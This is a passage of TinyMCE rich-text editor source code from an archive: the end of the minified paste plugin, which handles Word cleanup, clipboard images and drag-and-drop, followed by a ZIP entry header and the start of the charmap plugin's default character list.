E("b",1))),/(italic)/i.test(u["font-style"])&&(delete u["font-style"],o.wrap(new E("i",1))),(u=n.dom.serializeStyle(u,o.name))||null}var M,L,N,B,H,$,W,U,z,V={preProcess:function(t,e){return g.shouldUseDefaultFilters(t)?function(r,t){var e,o;(e=g.getRetainStyleProps(r))&&(o=b.makeMap(e.split(/[, ]/))),t=O.filter(t,[/<br class="?Apple-interchange-newline"?>/gi,/<b[^>]+id="?docs-internal-[^>]*>/gi,/<!--[\s\S]+?-->/gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/&nbsp;/gi,"\xa0"],[/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,function(t,e){return 0<e.length?e.replace(/./," ").slice(Math.floor(e.length/2)).split("").join("\xa0"):""}]]);var n=g.getWordValidElements(r),i=R({valid_elements:n,valid_children:"-li[p]"});b.each(i.elements,function(t){t.attributes["class"]||(t.attributes["class"]={},t.attributesOrder.push("class")),t.attributes.style||(t.attributes.style={},t.attributesOrder.push("style"))});var a=k({},i);a.addAttributeFilter("style",function(t){for(var e,n=t.length;n--;)(e=t[n]).attr("style",j(r,o,e,e.attr("style"))),"span"===e.name&&e.parent&&!e.attributes.length&&e.unwrap()}),a.addAttributeFilter("class",function(t){for(var e,n,r=t.length;r--;)n=(e=t[r]).attr("class"),/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(n)&&e.remove(),e.attr("class",null)}),a.addNodeFilter("del",function(t){for(var e=t.length;e--;)t[e].remove()}),a.addNodeFilter("a",function(t){for(var e,n,r,o=t.length;o--;)if(n=(e=t[o]).attr("href"),r=e.attr("name"),n&&-1!==n.indexOf("#_msocom_"))e.remove();else if(n&&0===n.indexOf("file://")&&(n=n.split("#")[1])&&(n="#"+n),n||r){if(r&&!/^_?(?:toc|edn|ftn)/i.test(r)){e.unwrap();continue}e.attr({href:n,name:r})}else e.unwrap()});var u=a.parse(t);return g.shouldConvertWordFakeLists(r)&&A(u),t=F({validate:r.settings.validate},i).serialize(u)}(t,e):e},isWordContent:function(t){return/<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i.test(t)||/class="OutlineElement/.test(t)||/id="?docs\-internal\-guid\-/.test(t)}},K=function(t,e){return{content:t,cancelled:e}},q=function(t,e,n,r){var o,i,a,u,s,c,l=d(t,e,n,r),f=function(t,e){var n=k({},t.schema);n.addNodeFilter("meta",function(t){b.each(t,function(t){return t.remove()})});var r=n.parse(e,{forced_root_block:!1,isRootContent:!0});return F({validate:t.settings.validate},t.schema).serialize(r)}(t,l.content);return t.hasEventListeners("PastePostProcess")&&!l.isDefaultPrevented()?(i=f,a=n,u=r,s=(o=t).dom.create("div",{style:"display:none"},i),c=m(o,s,a,u),K(c.node.innerHTML,c.isDefaultPrevented())):K(f,l.isDefaultPrevented())},G=function(t,e,n){var r=V.isWordContent(e),o=r?V.preProcess(t,e):e;return q(t,o,n,r)},X=function(t,e){return t.insertContent(e,{merge:g.shouldMergeFormats(t),paste:!0}),!0},Y=function(t){return/^https?:\/\/[\w\?\-\/+=.&%@~#]+$/i.test(t)},Z=function(t){return Y(t)&&/.(gif|jpe?g|png)$/.test(t)},J=function(t,e,n){return!(!1!==t.selection.isCollapsed()||!Y(e)||(o=e,i=n,(r=t).undoManager.extra(function(){i(r,o)},function(){r.execCommand("mceInsertLink",!1,o)}),0));var r,o,i},Q=function(t,e,n){return!!Z(e)&&(o=e,i=n,(r=t).undoManager.extra(function(){i(r,o)},function(){r.insertContent('<img src="'+o+'">')}),!0);var r,o,i},tt=function(t,e){var n,r;!1===g.isSmartPasteEnabled(t)?X(t,e):(n=t,r=e,b.each([J,Q,X],function(t){return!0!==t(n,r,X)}))},et=function(){},nt=function(t){return function(){return t}},rt=nt(!1),ot=nt(!0),it=function(){return at},at=(M=function(t){return t.isNone()},B={fold:function(t,e){return t()},is:rt,isSome:rt,isNone:ot,getOr:N=function(t){return t},getOrThunk:L=function(t){return t()},getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:nt(null),getOrUndefined:nt(undefined),or:N,orThunk:L,map:it,each:et,bind:it,exists:rt,forall:ot,filter:it,equals:M,equals_:M,toArray:function(){return[]},toString:nt("none()")},Object.freeze&&Object.freeze(B),B),ut=function(n){var t=nt(n),e=function(){return o},r=function(t){return t(n)},o={fold:function(t,e){return e(n)},is:function(t){return n===t},isSome:ot,isNone:rt,getOr:t,getOrThunk:t,getOrDie:t,getOrNull:t,getOrUndefined:t,or:e,orThunk:e,map:function(t){return ut(t(n))},each:function(t){t(n)},bind:r,exists:r,forall:r,filter:function(t){return t(n)?o:at},toArray:function(){return[n]},toString:function(){return"some("+n+")"},equals:function(t){return t.is(n)},equals_:function(t,e){return t.fold(rt,function(t){return e(n,t)})}};return o},st={some:ut,none:it,from:function(t){return null===t||t===undefined?at:ut(t)}},ct=(H="function",function(t){return function(t){if(null===t)return"null";var e=typeof t;return"object"===e&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"===e&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":e}(t)===H}),lt=Array.prototype.slice,ft=function(t,e){for(var n=t.length,r=new Array(n),o=0;o<n;o++){var i=t[o];r[o]=e(i,o)}return r},dt=function(t,e){for(var n=0,r=t.length;n<r;n++)e(t[n],n)},mt=ct(Array.from)?Array.from:function(t){return lt.call(t)},pt={},gt={exports:pt};$=undefined,W=pt,U=gt,z=undefined,function(t){"object"==typeof W&&void 0!==U?U.exports=t():"function"==typeof $&&$.amd?$([],t):("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).EphoxContactWrapper=t()}(function(){return function i(a,u,s){function c(e,t){if(!u[e]){if(!a[e]){var n="function"==typeof z&&z;if(!t&&n)return n(e,!0);if(l)return l(e,!0);var r=new Error("Cannot find module '"+e+"'");throw r.code="MODULE_NOT_FOUND",r}var o=u[e]={exports:{}};a[e][0].call(o.exports,function(t){return c(a[e][1][t]||t)},o,o.exports,i,a,u,s)}return u[e].exports}for(var l="function"==typeof z&&z,t=0;t<s.length;t++)c(s[t]);return c}({1:[function(t,e,n){var r,o,i=e.exports={};function a(){throw new Error("setTimeout has not been defined")}function u(){throw new Error("clearTimeout has not been defined")}function s(t){if(r===setTimeout)return setTimeout(t,0);if((r===a||!r)&&setTimeout)return r=setTimeout,setTimeout(t,0);try{return r(t,0)}catch(e){try{return r.call(null,t,0)}catch(e){return r.call(this,t,0)}}}!function(){try{r="function"==typeof setTimeout?setTimeout:a}catch(t){r=a}try{o="function"==typeof clearTimeout?clearTimeout:u}catch(t){o=u}}();var c,l=[],f=!1,d=-1;function m(){f&&c&&(f=!1,c.length?l=c.concat(l):d=-1,l.length&&p())}function p(){if(!f){var t=s(m);f=!0;for(var e=l.length;e;){for(c=l,l=[];++d<e;)c&&c[d].run();d=-1,e=l.length}c=null,f=!1,function(t){if(o===clearTimeout)return clearTimeout(t);if((o===u||!o)&&clearTimeout)return o=clearTimeout,clearTimeout(t);try{o(t)}catch(e){try{return o.call(null,t)}catch(e){return o.call(this,t)}}}(t)}}function g(t,e){this.fun=t,this.array=e}function v(){}i.nextTick=function(t){var e=new Array(arguments.length-1);if(1<arguments.length)for(var n=1;n<arguments.length;n++)e[n-1]=arguments[n];l.push(new g(t,e)),1!==l.length||f||s(p)},g.prototype.run=function(){this.fun.apply(null,this.array)},i.title="browser",i.browser=!0,i.env={},i.argv=[],i.version="",i.versions={},i.on=v,i.addListener=v,i.once=v,i.off=v,i.removeListener=v,i.removeAllListeners=v,i.emit=v,i.prependListener=v,i.prependOnceListener=v,i.listeners=function(t){return[]},i.binding=function(t){throw new Error("process.binding is not supported")},i.cwd=function(){return"/"},i.chdir=function(t){throw new Error("process.chdir is not supported")},i.umask=function(){return 0}},{}],2:[function(t,f,e){(function(n){!function(t){var e=setTimeout;function r(){}function a(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=undefined,this._deferreds=[],l(t,this)}function o(r,o){for(;3===r._state;)r=r._value;0!==r._state?(r._handled=!0,a._immediateFn(function(){var t=1===r._state?o.onFulfilled:o.onRejected;if(null!==t){var e;try{e=t(r._value)}catch(n){return void u(o.promise,n)}i(o.promise,e)}else(1===r._state?i:u)(o.promise,r._value)})):r._deferreds.push(o)}function i(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof a)return t._state=3,t._value=e,void s(t);if("function"==typeof n)return void l((r=n,o=e,function(){r.apply(o,arguments)}),t)}t._state=1,t._value=e,s(t)}catch(i){u(t,i)}var r,o}function u(t,e){t._state=2,t._value=e,s(t)}function s(t){2===t._state&&0===t._deferreds.length&&a._immediateFn(function(){t._handled||a._unhandledRejectionFn(t._value)});for(var e=0,n=t._deferreds.length;e<n;e++)o(t,t._deferreds[e]);t._deferreds=null}function c(t,e,n){this.onFulfilled="function"==typeof t?t:null,this.onRejected="function"==typeof e?e:null,this.promise=n}function l(t,e){var n=!1;try{t(function(t){n||(n=!0,i(e,t))},function(t){n||(n=!0,u(e,t))})}catch(r){if(n)return;n=!0,u(e,r)}}a.prototype["catch"]=function(t){return this.then(null,t)},a.prototype.then=function(t,e){var n=new this.constructor(r);return o(this,new c(t,e,n)),n},a.all=function(t){var s=Array.prototype.slice.call(t);return new a(function(o,i){if(0===s.length)return o([]);var a=s.length;function u(e,t){try{if(t&&("object"==typeof t||"function"==typeof t)){var n=t.then;if("function"==typeof n)return void n.call(t,function(t){u(e,t)},i)}s[e]=t,0==--a&&o(s)}catch(r){i(r)}}for(var t=0;t<s.length;t++)u(t,s[t])})},a.resolve=function(e){return e&&"object"==typeof e&&e.constructor===a?e:new a(function(t){t(e)})},a.reject=function(n){return new a(function(t,e){e(n)})},a.race=function(o){return new a(function(t,e){for(var n=0,r=o.length;n<r;n++)o[n].then(t,e)})},a._immediateFn="function"==typeof n?function(t){n(t)}:function(t){e(t,0)},a._unhandledRejectionFn=function(t){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",t)},a._setImmediateFn=function(t){a._immediateFn=t},a._setUnhandledRejectionFn=function(t){a._unhandledRejectionFn=t},void 0!==f&&f.exports?f.exports=a:t.Promise||(t.Promise=a)}(this)}).call(this,t("timers").setImmediate)},{timers:3}],3:[function(s,t,c){(function(t,e){var r=s("process/browser.js").nextTick,n=Function.prototype.apply,o=Array.prototype.slice,i={},a=0;function u(t,e){this._id=t,this._clearFn=e}c.setTimeout=function(){return new u(n.call(setTimeout,window,arguments),clearTimeout)},c.setInterval=function(){return new u(n.call(setInterval,window,arguments),clearInterval)},c.clearTimeout=c.clearInterval=function(t){t.close()},u.prototype.unref=u.prototype.ref=function(){},u.prototype.close=function(){this._clearFn.call(window,this._id)},c.enroll=function(t,e){clearTimeout(t._idleTimeoutId),t._idleTimeout=e},c.unenroll=function(t){clearTimeout(t._idleTimeoutId),t._idleTimeout=-1},c._unrefActive=c.active=function(t){clearTimeout(t._idleTimeoutId);var e=t._idleTimeout;0<=e&&(t._idleTimeoutId=setTimeout(function(){t._onTimeout&&t._onTimeout()},e))},c.setImmediate="function"==typeof t?t:function(t){var e=a++,n=!(arguments.length<2)&&o.call(arguments,1);return i[e]=!0,r(function(){i[e]&&(n?t.apply(null,n):t.call(null),c.clearImmediate(e))}),e},c.clearImmediate="function"==typeof e?e:function(t){delete i[t]}}).call(this,s("timers").setImmediate,s("timers").clearImmediate)},{"process/browser.js":1,timers:3}],4:[function(t,e,n){var r=t("promise-polyfill"),o="undefined"!=typeof window?window:Function("return this;")();e.exports={boltExport:o.Promise||r}},{"promise-polyfill":2}]},{},[4])(4)});var vt=gt.exports.boltExport,ht=function(t){var n=st.none(),e=[],r=function(t){o()?a(t):e.push(t)},o=function(){return n.isSome()},i=function(t){dt(t,a)},a=function(e){n.each(function(t){v.setTimeout(function(){e(t)},0)})};return t(function(t){n=st.some(t),i(e),e=[]}),{get:r,map:function(n){return ht(function(e){r(function(t){e(n(t))})})},isReady:o}},yt={nu:ht,pure:function(e){return ht(function(t){t(e)})}},bt=function(t){v.setTimeout(function(){throw t},0)},wt=function(n){var t=function(t){n().then(t,bt)};return{map:function(t){return wt(function(){return n().then(t)})},bind:function(e){return wt(function(){return n().then(function(t){return e(t).toPromise()})})},anonBind:function(t){return wt(function(){return n().then(function(){return t.toPromise()})})},toLazy:function(){return yt.nu(t)},toCached:function(){var t=null;return wt(function(){return null===t&&(t=n()),t})},toPromise:n,get:t}},xt=function(t){return wt(function(){return new vt(t)})},_t=function(a,t){return t(function(r){var o=[],i=0;0===a.length?r([]):dt(a,function(t,e){var n;t.get((n=e,function(t){o[n]=t,++i>=a.length&&r(o)}))})})},Pt=function(t,e){return n=ft(t,e),_t(n,xt);var n},Tt=function(t,e,n){var r=n||w(e),o=G(t,f(e),r);!1===o.cancelled&&tt(t,o.content)},Dt=function(t,e){e=t.dom.encode(e).replace(/\r\n/g,"\n"),e=C(e,t.settings.forced_root_block,t.settings.forced_root_block_attrs),Tt(t,e,!1)},Ct=function(t){var e={};if(t){if(t.getData){var n=t.getData("Text");n&&0<n.length&&-1===n.indexOf("data:text/mce-internal,")&&(e["text/plain"]=n)}if(t.types)for(var r=0;r<t.types.length;r++){var o=t.types[r];try{e[o]=t.getData(o)}catch(i){e[o]=""}}}return e},kt=function(t,e){return e in t&&0<t[e].length},Ft=function(t){return kt(t,"text/html")||kt(t,"text/plain")},Et=O.createIdGenerator("mceclip"),Rt=function(e,t,n){var r,o,i,a,u="paste"===t.type?t.clipboardData:t.dataTransfer;if(e.settings.paste_data_images&&u){var s=(i=(o=u).items?ft(mt(o.items),function(t){return t.getAsFile()}):[],a=o.files?mt(o.files):[],function(t,e){for(var n=[],r=0,o=t.length;r<o;r++){var i=t[r];e(i,r)&&n.push(i)}return n}(0<i.length?i:a,function(t){return/^image\/(jpeg|png|gif|bmp)$/.test(t.type)}));if(0<s.length)return t.preventDefault(),(r=s,Pt(r,function(r){return xt(function(t){var e=r.getAsFile?r.getAsFile():r,n=new window.FileReader;n.onload=function(){t({blob:e,uri:n.result})},n.readAsDataURL(e)})})).get(function(t){n&&e.selection.setRng(n),dt(t,function(t){!function(t,e){var n,r,o,i,a,u,s,c=(n=e.uri,-1!==(r=n.indexOf(","))?n.substr(r+1):null),l=Et(),f=t.settings.images_reuse_filename&&e.blob.name?(o=t,i=e.blob.name,(a=i.match(/([\s\S]+?)\.(?:jpeg|jpg|png|gif)$/i))?o.dom.encode(a[1]):null):l,d=new v.Image;if(d.src=e.uri,u=t.settings,s=d,!u.images_dataimg_filter||u.images_dataimg_filter(s)){var m,p=t.editorUpload.blobCache,g=void 0;(m=p.findFirst(function(t){return t.base64()===c}))?g=m:(g=p.create(l,e.blob,c,f),p.add(g)),Tt(t,'<img src="'+g.blobUri()+'">',!1)}else Tt(t,'<img src="'+e.uri+'">',!1)}(e,t)})}),!0}return!1},It=function(t){return o.metaKeyPressed(t)&&86===t.keyCode||t.shiftKey&&45===t.keyCode},Ot=function(s,c,l){var e,f,d=(e=p(st.none()),{clear:function(){e.set(st.none())},set:function(t){e.set(st.some(t))},isSet:function(){return e.get().isSome()},on:function(t){e.get().each(t)}});function m(t,e,n,r){var o,i;kt(t,"text/html")?o=t["text/html"]:(o=c.getHtml(),r=r||w(o),c.isDefaultContent(o)&&(n=!0)),o=O.trimHtml(o),c.remove(),i=!1===r&&D(o),o.length&&!i||(n=!0),n&&(o=kt(t,"text/plain")&&i?t["text/plain"]:O.innerText(o)),c.isDefaultContent(o)?e||s.windowManager.alert("Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents."):n?Dt(s,o):Tt(s,o,r)}s.on("keydown",function(t){function e(t){It(t)&&!t.isDefaultPrevented()&&c.remove()}if(It(t)&&!t.isDefaultPrevented()){if((f=t.shiftKey&&86===t.keyCode)&&h.webkit&&-1!==v.navigator.userAgent.indexOf("Version/"))return;if(t.stopImmediatePropagation(),d.set(t),window.setTimeout(function(){d.clear()},100),h.ie&&f)return t.preventDefault(),void n(s,!0);c.remove(),c.create(),s.once("keyup",e),s.once("paste",function(){s.off("keyup",e)})}}),s.on("paste",function(t){var e,n,r,o=d.isSet(),i=(e=s,n=Ct(t.clipboardData||e.getDoc().dataTransfer),O.isMsEdge()?b.extend(n,{"text/html":""}):n),a="text"===l.get()||f,u=kt(i,x());f=!1,t.isDefaultPrevented()||(r=t.clipboardData,-1!==v.navigator.userAgent.indexOf("Android")&&r&&r.items&&0===r.items.length)?c.remove():Ft(i)||!Rt(s,t,c.getLastRng()||s.selection.getRng())?(o||t.preventDefault(),!h.ie||o&&!t.ieFake||kt(i,"text/html")||(c.create(),s.dom.bind(c.getEl(),"paste",function(t){t.stopPropagation()}),s.getDoc().execCommand("Paste",!1,null),i["text/html"]=c.getHtml()),kt(i,"text/html")?(t.preventDefault(),u||(u=w(i["text/html"])),m(i,o,a,u)):y.setEditorTimeout(s,function(){m(i,o,a,u)},0)):c.remove()})},St=function(t){return h.ie&&t.inline?v.document.body:t.getBody()},At=function(e,t,n){var r;St(r=e)!==r.getBody()&&e.dom.bind(t,"paste keyup",function(t){Lt(e,n)||e.fire("paste")})},jt=function(t){return t.dom.get("mcepastebin")},Mt=function(t,e){return e===t},Lt=function(t,e){var n,r=jt(t);return(n=r)&&"mcepastebin"===n.id&&Mt(e,r.innerHTML)},Nt=function(a){var u=p(null),s="%MCEPASTEBIN%";return{create:function(){return e=u,n=s,o=(t=a).dom,i=t.getBody(),e.set(t.selection.getRng()),r=t.dom.add(St(t),"div",{id:"mcepastebin","class":"mce-pastebin",contentEditable:!0,"data-mce-bogus":"all",style:"position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0"},n),(h.ie||h.gecko)&&o.setStyle(r,"left","rtl"===o.getStyle(i,"direction",!0)?65535:-65535),o.bind(r,"beforedeactivate focusin focusout",function(t){t.stopPropagation()}),At(t,r,n),r.focus(),void t.selection.select(r,!0);var t,e,n,r,o,i},remove:function(){return function(t,e){if(jt(t)){for(var n=void 0,r=e.get();n=t.dom.get("mcepastebin");)t.dom.remove(n),t.dom.unbind(n);r&&t.selection.setRng(r)}e.set(null)}(a,u)},getEl:function(){return jt(a)},getHtml:function(){return function(n){var e,t,r,o,i,a=function(t,e){t.appendChild(e),n.dom.remove(e,!0)};for(t=b.grep(St(n).childNodes,function(t){return"mcepastebin"===t.id}),e=t.shift(),b.each(t,function(t){a(e,t)}),r=(o=n.dom.select("div[id=mcepastebin]",e)).length-1;0<=r;r--)i=n.dom.create("div"),e.insertBefore(i,o[r]),a(i,o[r]);return e?e.innerHTML:""}(a)},getLastRng:function(){return u.get()},isDefault:function(){return Lt(a,s)},isDefaultContent:function(t){return Mt(s,t)}}},Bt=function(n,t){var e=Nt(n);return n.on("preInit",function(){return Ot(a=n,e,t),void a.parser.addNodeFilter("img",function(t,e,n){var r,o=function(t){t.attr("data-mce-object")||u===h.transparentSrc||t.remove()};if(!a.settings.paste_data_images&&(r=n).data&&!0===r.data.paste)for(var i=t.length;i--;)(u=t[i].attributes.map.src)&&(0===u.indexOf("webkit-fake-url")?o(t[i]):a.settings.allow_html_data_urls||0!==u.indexOf("data:")||o(t[i]))});var a,u}),{pasteFormat:t,pasteHtml:function(t,e){return Tt(n,t,e)},pasteText:function(t){return Dt(n,t)},pasteImageData:function(t,e){return Rt(n,t,e)},getDataTransferItems:Ct,hasHtmlOrText:Ft,hasContentType:kt}},Ht=function(){},$t=function(t,e,n){if(r=t,!1!==h.iOS||r===undefined||"function"!=typeof r.setData||!0===O.isMsEdge())return!1;try{return t.clearData(),t.setData("text/html",e),t.setData("text/plain",n),t.setData(x(),e),!0}catch(o){return!1}var r},Wt=function(t,e,n,r){$t(t.clipboardData,e.html,e.text)?(t.preventDefault(),r()):n(e.html,r)},Ut=function(u){return function(t,e){var n=l(t),r=u.dom.create("div",{contenteditable:"false","data-mce-bogus":"all"}),o=u.dom.create("div",{contenteditable:"true"},n);u.dom.setStyles(r,{position:"fixed",top:"0",left:"-3000px",width:"1000px",overflow:"hidden"}),r.appendChild(o),u.dom.add(u.getBody(),r);var i=u.selection.getRng();o.focus();var a=u.dom.createRng();a.selectNodeContents(o),u.selection.setRng(a),setTimeout(function(){u.selection.setRng(i),r.parentNode.removeChild(r),e()},0)}},zt=function(t){return{html:t.selection.getContent({contextual:!0}),text:t.selection.getContent({format:"text"})}},Vt=function(t){return!t.selection.isCollapsed()||!!(e=t).dom.getParent(e.selection.getStart(),"td[data-mce-selected],th[data-mce-selected]",e.getBody());var e},Kt=function(t){var e,n;t.on("cut",(e=t,function(t){Vt(e)&&Wt(t,zt(e),Ut(e),function(){setTimeout(function(){e.execCommand("Delete")},0)})})),t.on("copy",(n=t,function(t){Vt(n)&&Wt(t,zt(n),Ut(n),Ht)}))},qt=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),Gt=function(t,e){return qt.getCaretRangeFromPoint(e.clientX,e.clientY,t.getDoc())},Xt=function(t,e){t.focus(),t.selection.setRng(e)},Yt=function(a,u,s){g.shouldBlockDrop(a)&&a.on("dragend dragover draggesture dragdrop drop drag",function(t){t.preventDefault(),t.stopPropagation()}),g.shouldPasteDataImages(a)||a.on("drop",function(t){var e=t.dataTransfer;e&&e.files&&0<e.files.length&&t.preventDefault()}),a.on("drop",function(t){var e,n;if(n=Gt(a,t),!t.isDefaultPrevented()&&!s.get()){e=u.getDataTransferItems(t.dataTransfer);var r,o=u.hasContentType(e,x());if((u.hasHtmlOrText(e)&&(!(r=e["text/plain"])||0!==r.indexOf("file://"))||!u.pasteImageData(t,n))&&n&&g.shouldFilterDrop(a)){var i=e["mce-internal"]||e["text/html"]||e["text/plain"];i&&(t.preventDefault(),y.setEditorTimeout(a,function(){a.undoManager.transact(function(){e["mce-internal"]&&a.execCommand("Delete"),Xt(a,n),i=O.trimHtml(i),e["text/html"]?u.pasteHtml(i,o):u.pasteText(i)})}))}}}),a.on("dragstart",function(t){s.set(!0)}),a.on("dragover dragend",function(t){g.shouldPasteDataImages(a)&&!1===s.get()&&(t.preventDefault(),Xt(a,Gt(a,t))),"dragend"===t.type&&s.set(!1)})},Zt=function(t){var e=t.plugins.paste,n=g.getPreProcess(t);n&&t.on("PastePreProcess",function(t){n.call(e,e,t)});var r=g.getPostProcess(t);r&&t.on("PastePostProcess",function(t){r.call(e,e,t)})};function Jt(e,n){e.on("PastePreProcess",function(t){t.content=n(e,t.content,t.internal,t.wordContent)})}function Qt(t,e){if(!V.isWordContent(e))return e;var n=[];b.each(t.schema.getBlockElements(),function(t,e){n.push(e)});var r=new RegExp("(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*(<\\/?("+n.join("|")+")[^>]*>)(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*","g");return e=O.filter(e,[[r,"$1"]]),e=O.filter(e,[[/<br><br>/g,"<BR><BR>"],[/<br>/g," "],[/<BR><BR>/g,"<br>"]])}function te(t,e,n,r){if(r||n)return e;var c,o=g.getWebkitStyles(t);if(!1===g.shouldRemoveWebKitStyles(t)||"all"===o)return e;if(o&&(c=o.split(/[, ]/)),c){var l=t.dom,f=t.selection.getNode();e=e.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,function(t,e,n,r){var o=l.parseStyle(l.decode(n)),i={};if("none"===c)return e+r;for(var a=0;a<c.length;a++){var u=o[c[a]],s=l.getStyle(f,c[a],!0);/color/.test(c[a])&&(u=l.toHex(u),s=l.toHex(s)),s!==u&&(i[c[a]]=u)}return(i=l.serializeStyle(i,"span"))?e+' style="'+i+'"'+r:e+r})}else e=e.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,"$1$3");return e=e.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi,function(t,e,n,r){return e+' style="'+n+'"'+r})}function ee(n,t){n.$("a",t).find("font,u").each(function(t,e){n.dom.remove(e,!0)})}var ne=function(t){var e,n;h.webkit&&Jt(t,te),h.ie&&(Jt(t,Qt),n=ee,(e=t).on("PastePostProcess",function(t){n(e,t.node)}))},re=function(t,e,n){var r=n.control;r.active("text"===e.pasteFormat.get()),t.on("PastePlainTextToggle",function(t){r.active(t.state)})},oe=function(t,e){var n=function(r){for(var o=[],t=1;t<arguments.length;t++)o[t-1]=arguments[t];return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var n=o.concat(t);return r.apply(null,n)}}(re,t,e);t.addButton("pastetext",{active:!1,icon:"pastetext",tooltip:"Paste as text",cmd:"mceTogglePlainTextPaste",onPostRender:n}),t.addMenuItem("pastetext",{text:"Paste as text",selectable:!0,active:e.pasteFormat,cmd:"mceTogglePlainTextPaste",onPostRender:n})};e.add("paste",function(t){if(!1===a(t)){var e=p(!1),n=p(!1),r=p(g.isPasteAsTextEnabled(t)?"text":"html"),o=Bt(t,r),i=ne(t);return oe(t,o),c(t,o,e),Zt(t),Kt(t),Yt(t,o,n),u(o,i)}})}(window);PK�\d[��n�Z�Zcharmap/plugin.jsnu�[���(function () {
var charmap = (function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var fireInsertCustomChar = function (editor, chr) {
      return editor.fire('insertCustomChar', { chr: chr });
    };
    var Events = { fireInsertCustomChar: fireInsertCustomChar };

    var insertChar = function (editor, chr) {
      var evtChr = Events.fireInsertCustomChar(editor, chr).chr;
      editor.execCommand('mceInsertContent', false, evtChr);
    };
    var Actions = { insertChar: insertChar };

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var getCharMap = function (editor) {
      return editor.settings.charmap;
    };
    var getCharMapAppend = function (editor) {
      return editor.settings.charmap_append;
    };
    var Settings = {
      getCharMap: getCharMap,
      getCharMapAppend: getCharMapAppend
    };

    var isArray = global$1.isArray;
    var getDefaultCharMap = function () {
      return [
        [
          '160',
          'no-break space'
        ],
        [
          '173',
          'soft hyphen'
        ],
        [
          '34',
          'quotation mark'
        ],
        [
          '162',
          'cent sign'
        ],
        [
          '8364',
          'euro sign'
        ],
        [
          '163',
          'pound sign'
        ],
        [
          '165',
          'yen sign'
        ],
        [
          '169',
          'copyright sign'
        ],
        [
          '174',
          'registered sign'
        ],
        [
          '8482',
          'trade mark sign'
        ],
        [
          '8240',
          'per mille sign'
        ],
        [
          '181',
          'micro sign'
        ],
        [
          '183',
          'middle dot'
        ],
        [
          '8226',
          'bullet'
        ],
        [
          '8230',
          'three dot leader'
        ],
        [
          '8242',
          'minutes / feet'
        ],
        [
          '8243',
          'seconds / inches'
        ],
        [
          '167',
          'section sign'
        ],
        [
          '182',
          'paragraph sign'
        ],
        [
          '223',
          'sharp s / ess-zed'
        ],
        [
          '8249',
          'single left-pointing angle quotation mark'
        ],
        [
          '8250',
          'single right-pointing angle quotation mark'
        ],
        [
          '171',
          'left pointing guillemet'
        ],
        [
          '187',
          'right pointing guillemet'
        ],
        [
          '8216',
          'left single quotation mark'
        ],
        [
          '8217',
          'right single quotation mark'
        ],
        [
          '8220',
          'left double quotation mark'
        ],
        [
          '8221',
          'right double quotation mark'
        ],
        [
          '8218',
          'single low-9 quotation mark'
        ],
        [
          '8222',
          'double low-9 quotation mark'
        ],
        [
          '60',
          'less-than sign'
        ],
        [
          '62',
          'greater-than sign'
        ],
        [
          '8804',
          'less-than or equal to'
        ],
        [
          '8805',
          'greater-than or equal to'
        ],
        [
          '8211',
          'en dash'
        ],
        [
          '8212',
          'em dash'
        ],
        [
          '175',
          'macron'
        ],
        [
          '8254',
          'overline'
        ],
        [
          '164',
          'currency sign'
        ],
        [
          '166',
          'broken bar'
        ],
        [
          '168',
          'diaeresis'
        ],
        [
          '161',
          'inverted exclamation mark'
        ],
        [
          '191',
          'turned question mark'
        ],
        [
          '710',
          'circumflex accent'
        ],
        [
          '732',
          'small tilde'
        ],
        [
          '176',
          'degree sign'
        ],
        [
          '8722',
          'minus sign'
        ],
        [
          '177',
          'plus-minus sign'
        ],
        [
          '247',
          'division sign'
        ],
        [
          '8260',
          'fraction slash'
        ],
        [
          '215',
          'multiplication sign'
        ],
        [
          '185',
          'superscript one'
        ],
        [
          '178',
          'superscript two'
        ],
        [
          '179',
          'superscript three'
        ],
        [
          '188',
          'fraction one quarter'
        ],
        [
          '189',
          'fraction one half'
        ],
        [
          '190',
          'fraction three quarters'
        ],
        [
          '402',
          'function / florin'
        ],
        [
          '8747',
          'integral'
        ],
        [
          '8721',
          'n-ary sumation'
        ],
        [
          '8734',
          'infinity'
        ],
        [
          '8730',
          'square root'
        ],
        [
          '8764',
          'similar to'
        ],
        [
          '8773',
          'approximately equal to'
        ],
        [
          '8776',
          'almost equal to'
        ],
        [
          '8800',
          'not equal to'
        ],
        [
          '8801',
          'identical to'
        ],
        [
          '8712',
          'element of'
        ],
        [
          '8713',
          'not an element of'
        ],
        [
          '8715',
          'contains as member'
        ],
        [
          '8719',
          'n-ary product'
        ],
        [
          '8743',
          'logical and'
        ],
        [
          '8744',
          'logical or'
        ],
        [
          '172',
          'not sign'
        ],
        [
          '8745',
          'intersection'
        ],
        [
          '8746',
          'union'
        ],
        [
          '8706',
          'partial differential'
        ],
        [
          '8704',
          'for all'
        ],
        [
          '8707',
          'there exists'
        ],
        [
          '8709',
          'diameter'
        ],
        [
          '8711',
          'backward difference'
        ],
        [
          '8727',
